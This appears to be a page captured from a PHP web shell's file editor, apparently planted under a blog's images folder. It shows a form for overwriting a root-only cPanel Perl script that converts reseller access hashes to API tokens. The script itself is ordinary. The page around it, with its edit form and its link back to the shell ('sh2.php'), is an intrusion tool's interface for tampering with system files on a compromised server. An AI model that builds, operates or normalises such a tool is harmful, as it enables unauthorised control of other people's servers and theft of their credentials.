<h2>Edit File - convert_accesshash_to_token</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/convert_accesshash_to_token">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/convert_accesshash_to_token     Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;

use File::Basename ();
use Getopt::Long   ();

use Cpanel::Rand::Get                                   ();
use Cpanel::ResellerFunctions                           ();
use Cpanel::SafeFile                                    ();
use Cpanel::ConfigFiles                                 ();
use Cpanel::Security::Authn::APITokens::Write::whostmgr ();
use Whostmgr::AccessHash                                ();

use Digest::SHA ();

exit _main(@ARGV) unless caller;

sub _main {
    my @args = @_;

    unless ( $&gt; == 0 &amp;&amp; $&lt; == 0 ) {
        return bail_out(&#039;error: This program can only be run by root!&#039;);
    }

    Getopt::Long::GetOptionsFromArray(
        \@args,
        &#039;help|?&#039;  =&gt; \my $print_help,
        &#039;verbose&#039; =&gt; \my $verbose,

        &#039;all-resellers&#039; =&gt; \my $all_resellers,
    ) || return bail_out(&#039;Invalid usage. See --help&#039;);

    return print_help() if $print_help;

    $ENV{&#039;REMOTE_USER&#039;} = &#039;root&#039;;

    my @users = @args;
    @users = Cpanel::ResellerFunctions::getresellerslist() if $all_resellers;
    @users = ( $ENV{&#039;REMOTE_USER&#039;} )                       if !@users;

    foreach my $user (@users) {
        my $details = eval { import_accesshash($user) };
        if ($@) {
            next if $@ =~ m/^No accesshash exists for/;
            print STDERR &quot;error: $user: $@&quot;;
        }
        elsif ($verbose) {
            print &quot;Imported accesshash for “$user” as “$details-&gt;{name}”\n&quot;;
        }
    }

    return 0;
}

sub _update_accounting_log {
    my ( $action, $token_name ) = @_;

    my $acctlog = Cpanel::SafeFile::safeopen( my $accounting_log_fh, &#039;&gt;&gt;&#039;, $Cpanel::ConfigFiles::ACCOUNTING_LOG_FILE );
    if ( !$acctlog ) {
        logger-&gt;warn(&quot;Could not write to /var/cpanel/accounting.log&quot;);
    }
    else {
        chmod 0600, $Cpanel::ConfigFiles::ACCOUNTING_LOG_FILE;

        # The accounting log format is:
        # &lt;time&gt;:&lt;action keyword&gt;:&lt;remote user&gt;:&lt;user&gt;:&lt;domain&gt;:&lt;other items particular to the action&gt;
        # We are using &quot;not-applicable&quot; for the domain since it isn&#039;t really necessary here.
        print $accounting_log_fh localtime() . &quot;:$action:$ENV{&#039;REMOTE_USER&#039;}:$ENV{&#039;REMOTE_USER&#039;}:not-applicable:$token_name\n&quot;;
        Cpanel::SafeFile::safeclose( $accounting_log_fh, $acctlog );
    }
    return 1;
}

sub import_accesshash {
    my ($user) = @_;

    my ( $status, $msg, $accesshash ) = Whostmgr::AccessHash::get_access_hash($user);
    die &quot;$msg\n&quot; if !$status;
    $accesshash =~ s/\s//g;
    my $token_hash = Digest::SHA::sha512_hex($accesshash);

    my $data_obj = Cpanel::Security::Authn::APITokens::Write::whostmgr-&gt;new( { user =&gt; $user } );

    my $count    = 0;
    my $suffix   = &#039;&#039;;
    my $basename = &quot;accesshash-&quot; . time;
    my $token_details;
    while ( !$token_details ) {
        die &quot;Cannot import accesshash: $@&quot; if ++$count &gt; 25;

        $token_details = eval {
            $data_obj-&gt;import_token_hash(
                {
                    name       =&gt; &quot;$basename$suffix&quot;,
                    token_hash =&gt; $token_hash,
                }
            );
        };

        # TODO: Why no error report here?

        $suffix = &quot;-&quot; . Cpanel::Rand::Get::getranddata( 8, [ 0 .. 9, &#039;A&#039; .. &#039;Z&#039; ] );
    }
    $data_obj-&gt;save_changes_to_disk();

    _update_accounting_log( &quot;CREATEAPITOKEN&quot;, &quot;$basename$suffix&quot; );

    return $token_details;
}

sub print_help {
    my $basename = File::Basename::basename($0);
    print &lt;&lt;HELP;
Usage: $basename [OPTIONS] [reseller ...]

Options:
   -?, --help           Display this message
   --verbose            Print all of the tokens generated

   --all-resellers      Process all reseller users
HELP
    return 0;
}

sub bail_out {
    my $error_msg = shift;
    print STDERR $error_msg . &quot;\n\n&quot; if $error_msg;

    print_help();
    return 1;
}
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>